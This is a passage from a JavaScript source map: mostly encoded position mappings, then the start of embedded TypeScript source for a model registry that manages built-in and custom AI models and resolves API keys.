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","sourcesContent":["/**\n * Model registry - manages built-in and custom models, provides API key resolution.\n */\n\nimport {\n\ttype Api,\n\ttype AssistantMessageEventStream,\n\ttype Context,\n\tgetModels,\n\tgetProviders,\n\ttype KnownProvider,\n\ttype Model,\n\ttype OAuthProviderInterface,\n\ttype OpenAICompletionsCompat,\n\ttype 